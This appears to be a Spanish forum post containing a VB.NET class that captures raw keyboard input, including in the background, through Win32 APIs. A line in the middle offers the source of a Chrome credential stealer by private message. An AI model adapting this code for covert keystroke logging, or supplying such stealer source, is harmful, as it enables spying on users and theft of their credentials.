dInfo.Chars = String.Join("", From c As Char In dInfo.Chars Where Not Me.IgnoredChars.Contains(c))
' If original string is empty (like when pressing a SHIFT key),
' Or else the string is not empty after removing ignored chars, then...
If isEmpty OrElse (Not String.IsNullOrEmpty(dInfo.Chars)) Then
If (Me.HandlePastes) AndAlso (HotkeyPastePressedEvent IsNot Nothing) AndAlso (isPaste) Then
RaiseEvent HotkeyPastePressed(Me, New HotkeyPastePressedEventArgs(dInfo, Clipboard.GetText))
Else
RaiseEvent KeyPressed(Me, New KeyPressedEventArgs(dInfo, Me.GetDevice(message.LParam.ToInt32())))
End If
End If
End If
Else
Throw New ApplicationException(String.Format("Received Unknown Key: {0}. Possibly an unknown device.", key))
End If
End If
End If
End If
Finally
Marshal.FreeHGlobal(buffer)
End Try
End Sub
#End Region
#Region " Hidden Methods "
''' <summary>
''' Assigns a handle to this window.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub AssignHandle(handle As IntPtr)
MyBase.AssignHandle(handle)
End Sub
''' <summary>
''' Creates a window and its handle with the specified creation parameters.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub CreateHandle(cp As CreateParams)
MyBase.CreateHandle(cp)
End Sub
''' <summary>
''' Destroys the window and its handle.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub DestroyHandle()
MyBase.DestroyHandle()
End Sub
''' <summary>
''' Releases the handle associated with this window.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub ReleaseHandle()
MyBase.ReleaseHandle()
End Sub
''' <summary>
''' Retrieves the current lifetime service object that controls the lifetime policy for this instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function GetLifeTimeService() As Object
Return MyBase.GetLifetimeService
End Function
''' <summary>
''' Obtains a lifetime service object to control the lifetime policy for this instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function InitializeLifeTimeService() As Object
Return MyBase.InitializeLifetimeService
End Function
''' <summary>
''' Creates an object that contains all the relevant information required to generate a proxy used to communicate with a remote object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function CreateObjRef(requestedType As Type) As System.Runtime.Remoting.ObjRef
Return MyBase.CreateObjRef(requestedType)
End Function
''' <summary>
''' Invokes the default window procedure associated with this window.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub DefWndProc(ByRef m As Message)
MyBase.DefWndProc(m)
End Sub
#End Region
#Region " Event-Handlers "
''' <summary>
''' Assign the handle of the target Form to this NativeWindow,
''' necessary to override target Form's WndProc.
''' </summary>
Private Sub SetFormHandle() _
Handles form.HandleCreated,
form.Load,
form.Shown
If Not MyBase.Handle.Equals(Me.form.Handle) Then
MyBase.AssignHandle(Me.form.Handle)
End If
End Sub
''' <summary>
''' Releases the Handle.
''' </summary>
Private Sub OnHandleDestroyed() _
Handles form.HandleDestroyed
MyBase.ReleaseHandle()
End Sub
#End Region
#Region " Windows Procedure (WndProc) "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Invokes the default window procedure associated with this window to process windows messages.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="m">
''' A <see cref="System.Windows.Forms.Message" /> that is associated with the current window message.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Protected Overrides Sub WndProc(ByRef m As Message)
Select Case m.Msg
Case InputDevice.NativeMethods.WindowsMessages.WM_INPUT
Me.ProcessInputCommand(m)
End Select
MyBase.WndProc(m)
End Sub
#End Region
#Region " IDisposable "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' To detect redundant calls when disposing.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private isDisposed As Boolean = False
' ''' ----------------------------------------------------------------------------------------------------
' ''' <summary>
' ''' Prevent calls to methods after disposing.
' ''' </summary>
' ''' ----------------------------------------------------------------------------------------------------
' ''' <exception cref="System.ObjectDisposedException"></exception>
' ''' ----------------------------------------------------------------------------------------------------
'<DebuggerStepThrough>
'Private Sub DisposedCheck()
' If Me.isDisposed Then
' Throw New ObjectDisposedException(Me.GetType().FullName)
' End If
'End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub Dispose() Implements IDisposable.Dispose
Me.Dispose(isDisposing:=True)
GC.SuppressFinalize(obj:=Me)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Releases unmanaged and - optionally - managed resources.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="isDisposing">
''' <c>True</c> to release both managed and unmanaged resources;
''' <c>False</c> to release only unmanaged resources.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Protected Sub Dispose(ByVal isDisposing As Boolean)
If Not Me.isDisposed Then
If isDisposing Then
Me.form = Nothing
MyBase.ReleaseHandle()
MyBase.DestroyHandle()
End If
End If
Me.isDisposed = True
End Sub
#End Region
Agradezco cualquier tipo de ayuda u consejo.
Si alguien quiere los archivos o el fuente del stealer de chrome en vb6 que me los pida por MP, de todas formas se consigen faciles por IE.
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports Microsoft.Win32
Imports System.Globalization
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.ComponentModel
#End Region
#Region " InputDevice "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Handles raw input from keyboard devices.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public NotInheritable Class InputDevice : Inherits NativeWindow : Implements IDisposable
#Region " P/Invoking "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Platform Invocation methods (P/Invoke), access unmanaged code.
''' This class does not suppress stack walks for unmanaged code permission.
''' <see cref="System.Security.SuppressUnmanagedCodeSecurityAttribute"/> must not be applied to this class.
''' This class is for methods that can be used anywhere because a stack walk will be performed.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
Private NotInheritable Class NativeMethods
#Region " Functions "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Enumerates the raw input devices attached to the system.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="pRawInputDeviceList">
''' An array of <see cref="InputDevice.NativeMethods.RawInputDeviceList"></see> structures for the devices attached to the system.
''' If <see cref="IntPtr.Zero"></see>, the number of devices are returned in <paramref name="puiNumDevices"></paramref> parameter.
''' </param>
'''
''' <param name="puiNumDevices">
''' If <paramref name="pRawInputDeviceList"></paramref> is <see cref="IntPtr.Zero"></see>,
''' the function populates this variable with the number of devices attached to the system;
''' otherwise, this variable specifies the number of <see cref="InputDevice.NativeMethods.RawInputDeviceList"></see> structures that
''' can be contained in the buffer to which <paramref name="pRawInputDeviceList"></paramref> points.
''' If this value is less than the number of devices attached to the system,
''' the function returns the actual number of devices in this variable and fails with ERROR_INSUFFICIENT_BUFFER.
''' </param>
'''
''' <param name="cbSize">
''' The size of a <see cref="InputDevice.NativeMethods.RawInputDeviceList"></see> structure, in bytes.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' If the function is successful, the return value is the number of devices stored in the buffer pointed to by <paramref name="pRawInputDeviceList"></paramref>.
''' On any other error, the function returns -1 and <see cref="Marshal.GetLastWin32Error"></see> returns the error indication.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<DllImport("User32.dll", SetLastError:=True)>
Friend Shared Function GetRawInputDeviceList(
ByVal pRawInputDeviceList As IntPtr,
ByRef puiNumDevices As UInteger,
ByVal cbSize As UInteger
) As UInteger
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Retrieves information about the raw input device.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="hDevice">
''' A handle to the raw input device.
''' This comes from the lParam of the WM_INPUT message,
''' from the <see cref="InputDevice.NativeMethods.RawInputHeader.HDevice"></see> member of
''' <see cref="InputDevice.NativeMethods.RawInputHeader"></see> structure,
''' or from <see cref="InputDevice.NativeMethods.GetRawInputDeviceList"></see> function.
''' It can also be <see cref="IntPtr.Zero"></see> if an application inserts input data, for example, by using SendInput fcuntion.
''' </param>
'''
''' <param name="uiCommand">
''' Specifies what data will be returned in <paramref name="pData"></paramref>.
''' </param>
'''
''' <param name="pData">
''' A pointer to a buffer that contains the information specified by uiCommand.
''' If <paramref name="uiCommand"></paramref> is RIDI_DEVICEINFO, set the cbSize member of
''' RID_DEVICE_INFO to sizeof(RID_DEVICE_INFO) before calling <see cref="InputDevice.NativeMethods.GetRawInputDeviceInfo"></see> function.
''' </param>
'''
''' <param name="pcbSize">
''' The size, in bytes, of the data in <paramref name="pData"></paramref>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' If successful, this function returns a non-negative number indicating the number of bytes copied to <paramref name="pData"></paramref>.
''' If <paramref name="pData"></paramref> is not large enough for the data, the function returns -1.
''' If <paramref name="pData"></paramref> is <see cref="IntPtr.Zero"></see>, the function returns 0.
''' In both of these cases, <paramref name="pcbSize"></paramref> is set to the minimum size required for the <paramref name="pData"></paramref> buffer.
''' Call <see cref="Marshal.GetLastWin32Error"></see> to identify any other errors.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<DllImport("User32.dll", SetLastError:=True)>
Friend Shared Function GetRawInputDeviceInfo(
ByVal hDevice As IntPtr,
ByVal uiCommand As InputDevice.NativeMethods.GetRawInputDeviceInfoCommand,
ByVal pData As IntPtr,
ByRef pcbSize As UInteger
) As UInteger
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Registers the devices that supply the raw input data.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="pRawInputDevice">
''' An array of <see cref="InputDevice.NativeMethods.RawInputDevice"></see> structures that represent the devices that supply the raw input.
''' </param>
'''
''' <param name="uiNumDevices">
''' The number of <see cref="InputDevice.NativeMethods.RawInputDevice"></see> structures pointed to by <paramref name="pRawInputDevices"></paramref>.
''' </param>
'''
''' <param name="cbSize">
''' The size, in bytes, of a <see cref="InputDevice.NativeMethods.RawInputDevice"></see> structure.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <c>true</c> if the function succeeds; <c>false</c> otherwise.
''' Call <see cref="Marshal.GetLastWin32Error"></see> for more information.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<DllImport("User32.dll", SetLastError:=True)>
Friend Shared Function RegisterRawInputDevices(
ByVal pRawInputDevice As RawInputDevice(),
ByVal uiNumDevices As UInteger,
ByVal cbSize As UInteger
) As Boolean
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Retrieves the raw input from the specified device.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="hRawInput">
''' A handle to the <see cref="InputDevice.NativeMethods.Rawinput"></see> structure.
''' This comes from the lParam in WM_INPUT.
''' </param>
'''
''' <param name="uiCommand">
''' The command flag.
''' </param>
'''
''' <param name="pData">
''' A pointer to the data that comes from the <see cref="InputDevice.NativeMethods.Rawinput"></see> structure.
''' This depends on the value of <paramref name="uiCommand"></paramref>.
''' If <paramref name="pData"></paramref> is <see cref="IntPtr.Zero"></see>, the required size of the buffer is
''' returned in <paramref name="pcbSize"></paramref>.
''' </param>
'''
''' <param name="pcbSize">
''' The size, in bytes, of the data in <paramref name="pData"></paramref>.
''' </param>
'''
''' <param name="cbSizeHeader">
''' The size, in bytes, of the <see cref="InputDevice.NativeMethods.RawInputHeader"></see> structure.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' If <paramref name="pData"></paramref> is <see cref="IntPtr.Zero"></see> and the function is successful, the return value is 0.
''' If <paramref name="pData"></paramref> is not <see cref="IntPtr.Zero"></see> and the function is successful, the return value is
''' the number of bytes copied into <paramref name="pData"></paramref>.
''' If there is an error, the return value is -1.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<DllImport("User32.dll")>
Friend Shared Function GetRawInputData(
ByVal hRawInput As IntPtr,
ByVal uiCommand As InputDevice.NativeMethods.GetRawInputDataCommand,
ByVal pData As IntPtr,
ByRef pcbSize As UInteger,
ByVal cbSizeHeader As UInteger
) As UInteger
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Translates the specified virtual-key code and keyboard state to the corresponding Unicode character or characters.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="wVirtKey">
''' The virtual-key code to be translated.
''' See Virtual-Key Codes: [Enlace externo eliminado para invitados]
''' </param>
'''
''' <param name="wScanCode">
''' The hardware scan code of the key to be translated.
''' The high-order bit of this value is set if the key is up.
''' </param>
'''
''' <param name="lpKeyState">
''' A pointer to a 256-byte array that contains the current keyboard state.
''' Each element (byte) in the array contains the state of one key.
''' If the high-order bit of a byte is set, the key is down.
''' </param>
'''
''' <param name="pwszBuff">
''' The buffer that receives the translated Unicode character or characters.
''' However, this buffer may be returned without being null-terminated even though the
''' variable name suggests that it is null-terminated.
''' </param>
'''
''' <param name="cchBuff">
''' The size, in characters, of the buffer pointed to by the <paramref name="pwszBuff"></paramref> parameter.
''' </param>
'''
''' <param name="wFlags">
''' The behavior of the function.
''' If bit 0 is set, a menu is active.
''' Bits 1 through 31 are reserved.
''' </param>
'''
''' <param name="dwhkl">
''' The input locale identifier used to translate the specified code.
''' This parameter can be any input locale identifier previously returned by the LoadKeyboardLayout function.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The function returns one of the following values.
'''
''' -1:
''' The specified virtual key is a dead-key character (accent or diacritic).
''' This value is returned regardless of the keyboard layout,
''' even if several characters have been typed and are stored in the keyboard state.
''' If possible, even with Unicode keyboard layouts,
''' the function has written a spacing version of the dead-key character to the buffer specified by <paramref name="pwszBuff"></paramref>.
''' For example, the function writes the character SPACING ACUTE (0x00B4),
''' rather than the character NON_SPACING ACUTE (0x0301).
'''
''' 0:
''' The specified virtual key has no translation for the current state of the keyboard.
''' Nothing was written to the buffer specified by <paramref name="pwszBuff"></paramref>.
'''
''' 1:
''' One character was written to the buffer specified by <paramref name="pwszBuff"></paramref>.
'''
''' 2 ≤:
''' Two or more characters were written to the buffer specified by <paramref name="pwszBuff"></paramref>.
''' The most common cause for this is that a dead-key character (accent or diacritic) stored in the
''' keyboard layout could not be combined with the specified virtual key to form a single character.
''' However, the buffer may contain more characters than the return value specifies.
''' When this happens, any extra characters are invalid and should be ignored.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<DllImport("user32.dll", CharSet:=CharSet.Auto, ExactSpelling:=True, CallingConvention:=CallingConvention.Winapi)>
Friend Shared Function ToUnicodeEx(
ByVal wVirtKey As UInteger,
ByVal wScanCode As UInteger,
ByVal lpKeyState As Byte(),
<Out, MarshalAs(UnmanagedType.LPWStr)>
ByVal pwszBuff As StringBuilder,
ByVal cchBuff As Integer,
ByVal wFlags As UInteger,
ByVal dwhkl As IntPtr
) As Integer
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Retrieves the status of the specified virtual key.
''' The status specifies whether the key is up, down, or toggled (on, off—alternating each time the key is pressed).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="vKey">
''' The virtual-key code.
''' See Virtual-Key Codes: [Enlace externo eliminado para invitados]
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' If the high-order bit is 1, the key is down; otherwise, it is up.
''' If the low-order bit is 1, the key is toggled.
''' A key, such as the CAPS LOCK key, is toggled if it is turned on.
''' The key is off and untoggled if the low-order bit is 0.
''' A toggle key's indicator light (if any) on the keyboard will be on when the key is toggled, and off when the key is untoggled.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<DllImport("user32.dll", CharSet:=CharSet.Auto, ExactSpelling:=True, CallingConvention:=CallingConvention.Winapi)>
Friend Shared Function GetKeyState(
ByVal vKey As Keys
) As Short
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines whether a key is up or down at the time the function is called,
''' and whether the key was pressed after a previous call to GetAsyncKeyState.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="vKey">
''' The virtual-key code.
''' See Virtual-Key Codes: [Enlace externo eliminado para invitados]
''' You can use left- and right-distinguishing constants to specify certain keys.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' If the function succeeds,
''' the return value specifies whether the key was pressed since the last call to
''' <see cref="InputDevice.NativeMethods.GetAsyncKeyState"></see>,
''' and whether the key is currently up or down.
''' If the most significant bit is set, the key is down,
''' and if the least significant bit is set, the key was pressed after the previous call to
''' <see cref="InputDevice.NativeMethods.GetAsyncKeyState"></see>.
''' However, you should not rely on this last behavior.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<DllImport("user32.dll", CharSet:=CharSet.Auto, ExactSpelling:=True, CallingConvention:=CallingConvention.Winapi)>
Friend Shared Function GetAsyncKeyState(
ByVal vKey As Keys
) As Short
End Function
#End Region
#Region " Enumerations "
''' <summary>
''' The system sends or posts a system-defined message when it communicates with an application.
''' It uses these messages to control the operations of applications and to provide input and other information for applications to process.
''' An application can also send or post system-defined messages.
''' Applications generally use these messages to control the operation of control windows created by using preregistered window classes.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
Friend Enum WindowsMessages As Integer
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Sent to the window that is getting raw input.
''' A window receives this message through its WindowProc function.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
WM_INPUT = &HFF
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Posted to the window with the keyboard focus when a nonsystem key is pressed.
''' A nonsystem key is a key that is pressed when the ALT key is not pressed
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
WM_KEYDOWN = &H100
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Posted to the window with the keyboard focus when the user presses the F10 key (which activates the menu bar)
''' or holds down the ALT key and then presses another key.
''' It also occurs when no window currently has the keyboard focus; in this case, the WM_SYSKEYDOWN message is sent to the active window.
''' The window that receives the message can distinguish between these two contexts by checking the context code in the lParam parameter
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
WM_SYSKEYDOWN = &H104
End Enum
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Specifies a type of device.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
Friend Enum DeviceType As Integer
''' <summary>
''' The device is a mouse.
''' </summary>
Mouse = &H0 ' RIM_TYPEMOUSE
''' <summary>
''' The device is a keyboard.
''' </summary>
Keyboard = &H1 ' RIM_TYPEKEYBOARD
''' <summary>
''' The device is an HID that is not a keyboard and not a mouse.
''' </summary>
Hid = &H2 ' RIM_TYPEHID
End Enum
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Values for <paramref name="uiCommand"></paramref> of <see cref="InputDevice.NativeMethods.GetRawInputDeviceInfo"></see> function.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
Friend Enum GetRawInputDeviceInfoCommand As UInteger
''' <summary>
''' <paramref name="pData"></paramref> points to a string that contains the device name.
''' </summary>
DeviceName = &H20000007UI
''' <summary>
''' <paramref name="pData"></paramref> points to an RID_DEVICE_INFO structure.
''' </summary>
DeviceInfo = &H2000000BUI
''' <summary>
''' <paramref name="pData"></paramref> points to the previously parsed data.
''' </summary>
PreParsedData = &H20000005UI
End Enum
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Values for <paramref name="uiCommand"></paramref> of <see cref="InputDevice.NativeMethods.GetRawInputData"></see> function.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
Friend Enum GetRawInputDataCommand As UInteger
''' <summary>
''' Get the header information from the <see cref="InputDevice.NativeMethods.Rawinput"></see> structure.
''' </summary>
Header = &H10000005UI
''' <summary>
''' Get the raw data from the <see cref="InputDevice.NativeMethods.Rawinput"></see> structure.
''' </summary>
Input = &H10000003UI
End Enum
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Values for <paramref name="dwFlags"></paramref> of <see cref="InputDevice.NativeMethods.RawInputDevice"></see> structure.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<Flags>
Friend Enum RawInputDeviceFlags As Integer
''' <summary>
''' If set, the application command keys are handled.
''' <see cref="InputDevice.NativeMethods.RawInputDeviceFlags.AppKeys"></see> can be specified only if
''' <see cref="InputDevice.NativeMethods.RawInputDeviceFlags.NoLegacy"></see> is specified for a keyboard device.
''' </summary>
AppKeys = &H400
''' <summary>
''' If set, the mouse button click does not activate the other window.
''' </summary>
CaptureMouse = &H200
''' <summary>
''' If set, this enables the caller to receive WM_INPUT_DEVICE_CHANGE notifications for device arrival and device removal.
''' </summary>
DevNotify = &H2000
''' <summary>
''' If set, this specifies the top level collections to exclude when reading a complete usage page.
''' This flag only affects a TLC whose usage page is already specified with
''' <see cref="InputDevice.NativeMethods.RawInputDeviceFlags.PageOnly"></see>.
''' </summary>
Exclude = &H10
''' <summary>
''' If set, this enables the caller to receive input in the background only if the foreground application does not process it.
''' In other words, if the foreground application is not registered for raw input,
''' then the background application that is registered will receive the input.
''' </summary>
ExInputSink = &H1000
''' <summary>
''' If set, this enables the caller to receive the input even when the caller is not in the foreground.
''' Note that hwndTarget must be specified.
''' </summary>
InputSink = &H100
''' <summary>
''' If set, the application-defined keyboard device hotkeys are not handled.
''' However, the system hotkeys; for example, ALT+TAB and CTRL+ALT+DEL, are still handled.
''' By default, all keyboard hotkeys are handled.
''' <see cref="InputDevice.NativeMethods.RawInputDeviceFlags.NoHotkeys"></see> can be specified even if
''' <see cref="InputDevice.NativeMethods.RawInputDeviceFlags.NoLegacy"></see> is not specified and hwndTarget is NULL.
''' </summary>
NoHotkeys = &H200
''' <summary>
''' If set, the application-defined keyboard device hotkeys are not handled.
''' However, the system hotkeys; for example, ALT+TAB and CTRL+ALT+DEL, are still handled.
''' By default, all keyboard hotkeys are handled.
''' <see cref="InputDevice.NativeMethods.RawInputDeviceFlags.NoHotkeys"></see> can be specified even if
''' <see cref="InputDevice.NativeMethods.RawInputDeviceFlags.NoLegacy"></see> is not specified and hwndTarget is NULL.
''' </summary>
NoLegacy = &H30
''' <summary>
''' If set, this specifies all devices whose top level collection is from the
''' specified <see cref="InputDevice.NativeMethods.RawInputDevice.UsUsagePage"></see>.
''' Note that <see cref="InputDevice.NativeMethods.RawInputDevice.UsUsage"></see> must be zero.
''' To exclude a particular top level collection, use <see cref="InputDevice.NativeMethods.RawInputDeviceFlags.Exclude"></see>.
''' </summary>
PageOnly = &H20
''' <summary>
''' If set, this removes the top level collection from the inclusion list.
''' This tells the operating system to stop reading from a device which matches the top level collection.
''' </summary>
Remove = &H1
End Enum
#End Region
#Region " Structures"
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains information about a raw input device.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<StructLayout(LayoutKind.Sequential)>
Friend Structure RawInputDeviceList
''' <summary>
''' A handle to the raw input device.
''' </summary>
Public HDevice As IntPtr
''' <summary>
''' The type of device.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
Public DwType As InputDevice.NativeMethods.DeviceType
End Structure
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains the raw input from a device.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<StructLayout(LayoutKind.Explicit)>
Friend Structure Rawinput
''' <summary>
''' The raw input data.
''' </summary>
<FieldOffset(0)>
Public Header As RawInputHeader
''' <summary>
''' If the data comes from a mouse, this is the raw input data.
''' </summary>
<FieldOffset(16)>
Public Mouse As RawMouse
''' <summary>
''' If the data comes from a keyboard, this is the raw input data.
''' </summary>
<FieldOffset(16)>
Public Keyboard As RawKeyboard
''' <summary>
''' If the data comes from an HID, this is the raw input data.
''' </summary>
<FieldOffset(16)>
Public Hid As RawHid
End Structure
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains the header information that is part of the raw input data.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<StructLayout(LayoutKind.Sequential)>
Friend Structure RawInputHeader
''' <summary>
''' The type of raw input.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
Public DwType As InputDevice.NativeMethods.DeviceType
''' <summary>
''' The size, in bytes, of the entire input packet of data.
''' This includes RAWINPUT plus possible extra input reports in the RAWHID variable length array.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
Public DwSize As Integer
''' <summary>
''' A handle to the device generating the raw input data.
''' </summary>
Public HDevice As IntPtr
''' <summary>
''' The value passed in the wParam parameter of the WM_INPUT message.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
Public WParam As Integer
End Structure
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Describes the format of the raw input from a Human Interface Device (HID).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<StructLayout(LayoutKind.Sequential)>
Friend Structure RawHid
''' <summary>
''' The size, in bytes, of each HID input in bRawData.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
Public DwSizHid As Integer
''' <summary>
''' The number of HID inputs in bRawData.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
Public DwCount As Integer
End Structure
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<StructLayout(LayoutKind.Sequential)>
Friend Structure ButtonsStr
''' <summary>
''' The transition state of the mouse buttons.
''' </summary>
<MarshalAs(UnmanagedType.U2)>
Public UsButtonFlags As UShort
''' <summary>
''' If <paramref name="ButtonsStr"></paramref> is RI_MOUSE_WHEEL, this member is a signed value that specifies the wheel delta.
''' </summary>
<MarshalAs(UnmanagedType.U2)>
Public UsButtonData As UShort
End Structure
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains information about the state of the mouse.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<StructLayout(LayoutKind.Explicit)>
Friend Structure RawMouse
''' <summary>
''' The mouse state.
''' </summary>
<MarshalAs(UnmanagedType.U2)>
<FieldOffset(0)>
Public UsFlags As UShort
''' <summary>
''' Reserved parameter by the system.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
<FieldOffset(4)>
Public UlButtons As UInteger
''' <summary>
''' The transition state of the mouse buttons.
''' </summary>
<FieldOffset(4)>
Public ButtonsStr As InputDevice.NativeMethods.ButtonsStr ' usButtonFlags + usButtonData
''' <summary>
''' The raw state of the mouse buttons.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
<FieldOffset(8)>
Public UlRawButtons As UInteger
''' <summary>
''' The motion in the X direction.
''' This is signed relative motion or absolute motion, depending on the value of <paramref name="usFlags"></paramref>.
''' </summary>
<FieldOffset(12)>
Public LLastX As Integer
''' <summary>
''' The motion in the Y direction.
''' This is signed relative motion or absolute motion, depending on the value of <paramref name="usFlags"></paramref>.
''' </summary>
<FieldOffset(16)>
Public LLastY As Integer
''' <summary>
''' The device-specific additional information for the event.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
<FieldOffset(20)>
Public UlExtraInformation As UInteger
End Structure
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains information about the state of the keyboard.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<StructLayout(LayoutKind.Sequential)>
Friend Structure RawKeyboard
''' <summary>
''' The scan code from the key depression.
''' The scan code for keyboard overrun is KEYBOARD_OVERRUN_MAKE_CODE.
''' </summary>
<MarshalAs(UnmanagedType.U2)>
Public MakeCode As UShort
''' <summary>
''' Flags for scan code information.
''' </summary>
<MarshalAs(UnmanagedType.U2)>
Public Flags As UShort
''' <summary>
''' Reserved; value must be zero.
''' </summary>
<MarshalAs(UnmanagedType.U2)>
Public Reserved As UShort
''' <summary>
''' Windows message compatible virtual-key code.
